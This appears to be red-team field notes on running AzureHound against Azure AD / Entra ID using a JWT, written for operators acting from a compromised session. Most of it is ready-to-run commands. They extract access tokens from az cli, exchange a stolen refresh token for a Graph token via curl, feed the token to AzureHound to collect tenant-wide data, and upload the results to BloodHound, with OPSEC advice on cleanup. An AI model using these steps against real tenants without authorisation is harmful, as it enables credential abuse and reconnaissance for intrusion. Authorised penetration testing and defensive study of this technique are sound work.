AzureHound Notes: JWT Authentication for Red Teamers
If you’re doing a red team engagement and need to run AzureHound for Azure AD / Entra ID enumeration, you’ll quickly discover that the default interactive auth flow doesn’t work. You’re operating from a compromised session — you can’t pop a browser window for OAuth.
You need to pass a JWT.
The docs don’t make this obvious. Here’s how.
The Problem
AzureHound’s default auth wants interactive login. On a red team op you typically have:
- A stolen token (from a browser cookie, token cache, or intercepted auth flow)
- An access token obtained through a compromised service principal
- A token from
az clion a box you already own
You need to pass that to AzureHound without interactive auth.
Getting the JWT
From az cli (if you already have a session)
# Get a token scoped to MS Graph
az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv
# Get a token scoped to Azure Resource Manager
az account get-access-token --resource https://management.azure.com --query accessToken -o tsv
From a stolen refresh token
# Exchange a refresh token for an access token
# Replace <REFRESH_TOKEN>, <CLIENT_ID>, and <TENANT_ID>
curl -s -X POST \
"https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token" \
-d "grant_type=refresh_token" \
-d "refresh_token=<REFRESH_TOKEN>" \
-d "client_id=<CLIENT_ID>" \
-d "scope=https://graph.microsoft.com/.default" \
| jq -r '.access_token'
From ROADtools or TokenTacticsV2
If you’ve already pulled tokens with ROADtools or TokenTacticsV2, you’ll have JWTs in your loot. Use them directly.
Passing the JWT to AzureHound
AzureHound accepts a JWT via the -j or --jwt flag:
# Collect everything with a JWT
azurehound -j "<YOUR_JWT_TOKEN>" list -o output.json
The full collection command:
# Collect all Azure and Entra ID data
azurehound -j "<JWT>" list \
--tenant "<TENANT_ID>" \
-o azurehound-output.json
If your token is long (they usually are), read it from a file:
# Store token in a file, then reference it
az account get-access-token \
--resource https://graph.microsoft.com \
--query accessToken -o tsv > /tmp/token.txt
azurehound -j "$(cat /tmp/token.txt)" list \
--tenant "<TENANT_ID>" \
-o azurehound-output.json
OPSEC note: Clean up
/tmp/token.txtwhen done. Don’t leave JWTs on disk.
Token Scope Matters
AzureHound needs specific API permissions. The token’s scope determines what data you can collect:
| Scope | What it collects |
|---|---|
https://graph.microsoft.com/.default |
Entra ID objects — users, groups, apps, service principals |
https://management.azure.com/.default |
Azure resources — subscriptions, VMs, storage, key vaults |
For full collection, you ideally need both. Run AzureHound twice with each token, or use a token that has both scopes.
Gotchas
-
Token expiry — JWTs expire (usually 1 hour). If AzureHound takes longer than that, the collection will fail partway through. Re-grab the token and restart.
-
Tenant ID — If you don’t specify
--tenant, AzureHound may pick the wrong one in multi-tenant environments. -
Permissions — A low-privilege user token still works. AzureHound will collect whatever the token’s identity can read. Even
User.Readgets you a lot in most tenants. -
Rate limiting — Microsoft will throttle you on large tenants. AzureHound handles this, but expect slower runs on tenants with 10k+ objects.
Ingesting into BloodHound
Once you have the output:
# Upload to BloodHound CE
# Via the BloodHound API or the UI file upload
Or if you’re running BloodHound Community Edition with the API:
curl -X POST "http://<BLOODHOUND_HOST>/api/v2/file-upload" \
-H "Authorization: Bearer <BH_API_KEY>" \
-F "[email protected]"
Quick Reference
# One-liner: grab token + run azurehound
azurehound \
-j "$(az account get-access-token --resource https://graph.microsoft.com -o tsv --query accessToken)" \
list --tenant "YOUR_TENANT_ID" -o loot.json
These are field notes from red team ops. Your mileage may vary depending on target environment and token permissions.